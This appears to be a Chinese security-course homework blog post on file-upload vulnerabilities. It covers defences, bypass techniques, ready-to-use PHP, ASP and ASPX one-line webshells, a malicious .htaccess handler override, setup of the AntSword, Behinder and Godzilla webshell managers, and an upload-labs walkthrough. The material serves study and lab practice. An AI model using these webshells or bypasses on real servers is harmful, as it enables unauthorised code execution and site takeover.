第七天作业

一、文件上传防御手段与绕过手段总结

防御手段:

1、检查文件上传路径 。( 避免 0x00 截断、 IIS6.0 文件夹解析漏洞、目录遍历 )

2、文件扩展名检测 ( 避免服务器以非图片的文件格式解析文件 ),验证文件扩展名 通常有两种方式 : 黑名单和白名单 。

3、文件 MIME验证 。( 比如 GIF 图片 MIME为 image/gif,CSS 文件的 MIME为 text/css 等 )

4、文件内容检测。 ( 避免图片中插入 webshell)

5、图片二次渲染。 ( 基本上完全避免了文件上传漏洞 )

6、文件重命名 。( 如随机字符串或时间戳等方式 , 防止攻击者得到 webshell 的路径 )

7、隐藏上传路径。

绕过手段:

1、客户端检测绕过检测(js检测)

这一类型特征就是你会收到一个javascript的“不允许上传”的弹窗。

绕过方式:

1.1、在游览器设置里禁用js。

1.2、通过brup等代理工具抓包修改文件后缀并上传。

2、服务端检测绕过(MIME检测)

服务端主要检查文件头部的content-type字段信息
仅仅对文件名后缀进行判断并不能有效阻止恶意文件的上传(比如某服务器只允许上传jpg文件格式),不允许上传后缀为php等文件,但是把后缀为php改为jpg上传到服务器,某些情况下也能执行上传文件,因此对文件格式(content-type)检测十分必要,也就是服务端MIME类型检测。

绕过方式:
通过brup代理工具抓包修改提交http头部的content-type字段信息,或者使用挂马图片(mime限制的文件类型挂马)等。

3、服务端检测绕过(扩展名检测)

采用一个黑名单或者白名单,对上传的文件的扩展名进行检测,符合条件才允许上传。

绕过方式:
3.1、文件名大小写绕过:如果,在代码层没有进行大小写统一,用AsP,pHp类似的文件名绕过黑名单。

3.2、后缀黑名单检测绕过:找查blacklist(黑名单列表)的漏网之鱼,例如

大小写:如果检测的时候不忽略大小写,那么可以改变后缀名的大小写绕过。

扩展名:列表中如果忽略了某些后缀。

3.3、后缀白名单检测绕过:白名单检测还是会比黑名单强一点,常见的绕过方法有%00截断,还有服务器的解析漏洞。或者利用黑名单里没有的,并且能够成功执行的命名进行绕过,例如php3,php4之类的白名单,截断绕过。

3.4、特殊文件名绕过:在windows下有些文件名是不被允许的,将http包里将文件名改为test.asp.或test.asp_(此处下划线为空格)这种命名方式在windows系统自动去掉点和空格。

3.5、%00截断绕过:存在这类漏洞,那么后缀名的检测都可以绕过,此时我们可以如下命名一个上传文件进行绕过,文件名如下:test.php%00.jpg。

3.6、.htaccess 文件攻击:在apache里,这个文件作为一个配置文件,可以用来控制所在目录的访问权限以及解析设置。即是,可以通过设置可以将该目录下的所有文件作为php文件来解析,即可绕过。

利用某些写文件函数复写.htaccess文件,即可任意定义解析名单。
通过一个.htaccess 文件调用 php 的解析器去解析一个文件名中只要包含”haha”这个字符串的
任意文件,所以无论文件名是什么样子,只要包含”haha”这个字符串,都可以被以 php 的方
式来解析,是不是相当邪恶,一个自定义的.htaccess 文件就可以以各种各样的方式去绕过很
多上传验证机制。
建立一个.htaccess文件内容如下:

<FilesMatch "haha">
SetHandler application/x-httpd-php
</FilesMatch>
4、服务端检测绕过(文件内容检测)

4.1、文件头检测:在木马内容的前面插入对应的文件头内容,例如:GIF89a ,更保险的方法是在可上传的文件中插入木马代码,然后修改后缀。常见图片一句话形式如下:

GIF89a
(...some binary data for image...)
&lt;?php phpinfo(); ?&gt;
(... skipping the rest of binary data ...)

4.2、文件加载检测:代码注入绕过和二次渲染。

二、文件上传常用一句话木马

php: <?php @eval($_POST['pass']);?>、<?php system($_GET['cmd']);?>
asp: <%eval request ("pass")%>
aspx: <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>

三、三种webshell管理工具的使用

1、蚁剑(AntSword)

中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。

官方github下载地址:https://github.com/AntSwordProject/

官方说明文档:蚁剑 (yuque.com)

1.1、下载好后解压打开,初次打开需要初始化,初始化好后进入页面,点击“AntSword”进入代理设置,手动配置好代理后点击保存(由于后面要与bp联动,所以端口号为8080),然后重启程序。

1.2、新建php文件,输入 一行木马代码:<?php eval($_POST['ant']); ?>。

 1.3、在主页面空白处右键选择“添加数据”,根据自己的配置输入内容,连接密码为“ant”,输入完后可以点“测试连接”(提前打开bp),看到连接成功后就能添加了。

1.4、 右键添加好的数据选择“虚拟终端”,随便在终端中输入一条命令,如“whoami”。此时bp中也捕获了蚁剑的流量包。

分析特征:该流量包进行了一些url编码的混淆,从php_uname()函数能看出来流量包中的内容是php代码。 

2、 冰蝎(Behinder)

冰蝎是一款基于Java开发的动态加密通信流量的新型Webshell客户端,由于通信流量被加密,传统的WAF、IDS 设备难以检测,给威胁狩猎带来较大挑战。冰蝎其最大特点就是对交互流量进行对称加密,且加密密钥是由随机数函数动态生成,因此该客户端的流量几乎无法检测。
github地址:https://github.com/rebeyond/Behinder/releases

2.1、下载好后解压,在目录下输入cmd打开命令行窗口,在命令行中输入java -jar Behinder.jar启动冰蝎。启动冰蝎后点击“传输协议”,选择协议名称后点击“生成服务端”生成木马,将木马文件保存在自己心仪的目录下。

2.2、 点击“代理”配置与bp相连的代理,配置好后记得“启用”并“保存”。

2.3、 右键选择“新增”,按照自己的配置输入内容,连接密码为rebeyond,填好后保存。

2.4、 在自己配置好的选项中右键“打开”,可以看到多种功能,选择“虚拟终端”,输入whoami。

2.5、可以在burpsuite看到被抓取的流量包。

分析特征:该流量包应该是由异或加密和base64编码进行了组合加密。

3、哥斯拉(godzilla) 

godzilla也是一个强大的webshell工具,具体如何强大和下载,看下面官方github。

https://github.com/BeichenDream/Godzilla

3.1、下载好的直接就是一个jar包,打开命令行窗口输入java -jar godzilla.jar启动。

3.2、点击“管理”->“生成”,生成木马文件,有效载荷和加密器也能进行选择。 

3.3、点击“配置”->“程序配置”->“全局代理”进行代理配置。

 3.4、点击“目标”->“添加”,在弹出的窗口中输入自己的配置添加shell,填好后可以测试一下是否连接成功,提示“success”即可点击“添加”。

3.5、右键选择“进入”,即能看到虚拟窗口与其它功能,burpsuite也能抓取到流量包。

分析特征:这个流量包由密码“pass”和加密密钥key组成,根据pass后面的值可以看出来该流量包经过了base64编码。

四、文件上传无回显如何查找webshell地址

1. 字典爆破

  • 方法说明:根据经验,文件上传后,文件有时会直接以文件名的形式放在专属的upload目录中,如/upload/1.php,或者带有日期,如/upload/2024-01-01/1.php。可以使用字典来爆破可能的文件路径和文件名。
  • 实施步骤:
    1. 收集可能的目录和文件名组合。
    2. 使用自动化工具(如BurpSuite的Intruder模块)进行字典爆破。
    3. 监测响应,寻找可能的Webshell路径。

2. 检查服务器日志

  • 方法说明:通过查看HTTP请求日志,特别是在上传文件失败或成功的记录中,可能会发现可疑的URL或文件路径。
  • 实施步骤:
    1. 访问服务器的日志文件(如Apache的access.log或Nginx的error.log)。
    2. 搜索与文件上传相关的HTTP请求记录。
    3. 分析请求中的URL和参数,查找可能的Webshell路径。

3. 异常检测

  • 方法说明:有些Webshell在运行时会抛出错误或异常,通过监控网站的服务器错误页面,可以寻找异常报告。
  • 实施步骤:
    1. 访问网站的错误页面(如500 Internal Server Error页面)。
    2. 搜索错误报告中的可疑文件路径或错误信息。
    3. 根据错误信息定位Webshell的位置。

4. 文件名检测

  • 方法说明:如果Webshell使用了特殊命名规则(如包含特定字符组合的文件名),可以在服务器目录下搜索这些文件。
  • 实施步骤:
    1. 确定Webshell可能的命名规则。
    2. 使用文件搜索工具(如find命令或Windows的文件搜索功能)在服务器目录中搜索符合规则的文件。

5. 网络扫描

  • 方法说明:利用安全审计工具在网络流量中查找未授权访问或命令执行的行为,这有助于定位Webshell的位置。
  • 实施步骤:
    1. 使用网络扫描工具(如nmap、Wireshark等)监控网络流量。
    2. 分析流量中的异常行为,特别是与文件上传和命令执行相关的请求。
    3. 根据分析结果定位Webshell的位置。

6. 源码审查

  • 方法说明:如果有可能获取到网站的后台代码,可以通过审查代码来查找文件处理漏洞和隐藏的Webshell。
  • 实施步骤:
    1. 访问网站的后台或源代码仓库。
    2. 审查与文件上传相关的代码逻辑。
    3. 查找文件处理漏洞和潜在的Webshell代码。

7.权限验证

  • 方法说明:分析文件上传功能的权限设置,可能存在权限不足但仍能访问敏感目录的情况。
  • 实施步骤:
    1. 评估文件上传功能的权限配置。
    2. 尝试利用权限漏洞访问敏感目录和文件。
    3. 查找并定位Webshell文件。

五、upload-labs靶场通关第6-10关

1、第6关

1.1、根据提示可知这关过滤了大多数文件后缀。

1.2、虽也过滤了一些大小写,但没有强制将大写转换为小写,所以我们可以上传纯大写或者大小写结合的后缀名。

1.3、利用burpsuite抓取并修改数据包,将“1.php”修改为“1.pHP”再放包。

1.4、可以看到木马文件已上传成功并成功解析,复制图像链接并访问即可 。

2、第7关

 2.1、提示告知这关也过滤了大量后缀。

2.2、查看源码发现没有首位去空。

2.3、因此我们可以用bp抓包,并在1.php后面加上 空格然后发送。

2.4、可以看到木马文件上传成功。

3、第8关

 3.1、看提示,似乎不能通过改后缀的方式过关。

3.2、查看源码发现这关没有删除文件名末尾的点。

3.3、因此可以采用与第7关一样的思路,只是将空格改为“.” 。

3.4、过关。

4、第9关 

4.1、由提示可知该后缀方法似乎行不通。

4.2、查看源码,这关又少了去除字符串“::$DATA”。

4.3、用bp抓包,在1.php后面加上::$DATA,然后放包即可。

 

4.4、木马上传成功。

5、第10关

 5.1、看提示,该后缀应该不行。

5.2、直接查看源码,该有的防御好像都有,但删除末尾的点、转换为小写、去除字符串::$DATA、首位去空这些东西只验证了一次,即没有循环验证。

5.3、所以我们可以通过在1.php后面加上“点+空格+点” 的方式来绕过验证。这个验证思路简单来说是这样的:首先代码发现有一个点,这时代码会把点去掉,又发现有一个空格,也会把它去掉,我们这时还有一个点,也就是.php. 由于他只是验证一次,所以不会在去掉我们的点,这时就可以上传成功,也可以解析成功。

5.4、如下。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值